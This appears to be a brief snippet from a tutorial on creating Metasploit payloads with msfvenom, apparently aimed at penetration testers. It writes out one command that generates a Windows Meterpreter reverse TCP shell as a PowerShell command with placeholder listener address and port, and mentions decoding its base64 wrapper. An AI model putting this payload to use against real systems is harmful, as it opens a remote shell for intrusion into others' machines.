Creating Payloads Using msfvenom in msfconsole Metasploit's msfvenom allows you to generate various types of payloads for different operating systems and ...
msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-cmd LHOST=x.x.x.x LPORT=xxx Unwrap the base64 part inside the payload to reveal the actual powershell script ...